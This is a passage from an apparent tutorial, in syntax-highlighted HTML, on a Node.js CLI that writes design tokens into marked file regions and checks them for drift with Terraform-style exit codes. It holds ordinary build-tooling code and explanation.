&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  while&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    tail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; head &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; head &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    a[a.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tail] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b[b.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tail]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ) tail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (head) out.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ... ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} identical line${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;s&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; l &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(head, b.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tail)) out.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`- ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; l &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(head, a.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tail)) out.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`+ ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (tail) out.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ... ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tail&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} identical line${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tail&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;s&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;missing&lt;/code&gt; and &lt;code&gt;empty&lt;/code&gt; are the two statuses people leave out, and they’re the two that decide whether the gate is real. A consumer that dropped its markers but kept the values would otherwise pass forever while checking nothing, and a registry whose paths all stopped resolving would report a clean run over zero files.&lt;/p&gt;
&lt;p&gt;The exit code follows Terraform’s convention for the same reason. &lt;a href=&quot;https://developer.hashicorp.com/terraform/cli/commands/plan&quot;&gt;&lt;code&gt;terraform plan -detailed-exitcode&lt;/code&gt;&lt;/a&gt; distinguishes 0 for an empty diff, 1 for an error, and 2 for changes present, which lets a pipeline tell “your config is broken” apart from “your world drifted.” Wire the CLI up as &lt;code&gt;press.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, writeFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { join } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { emitBody } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./emit.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { initRegion, spliceRegion } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { checkAll, EXPLAIN } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./check.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; VERSION &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;0.1.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; root &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cwd&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tokens.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; targets &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;targets.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)).targets;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [cmd, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rest] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; init &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rest.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--init&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;emit&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; targets) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, t.path);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, t.emitter, t.params);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; after &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; init&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      ?&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; initRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before, t.region, t.syntax, body, VERSION, t.init)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      :&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spliceRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before, t.region, t.syntax, body, VERSION);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, after);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;after&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;unchanged&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;wrote&apos;}  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;check&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { results, ok, empty } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkAll&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ tokens, targets, root, version: VERSION });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok  &apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;FAIL&apos;}  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EXPLAIN&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (r.diff) console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(r.diff.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/^/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gm&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;        &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (empty) console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;FAIL  no targets resolved in this checkout&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ok &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;usage: press.mjs &amp;#x3C;emit|check&gt; [--init]&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
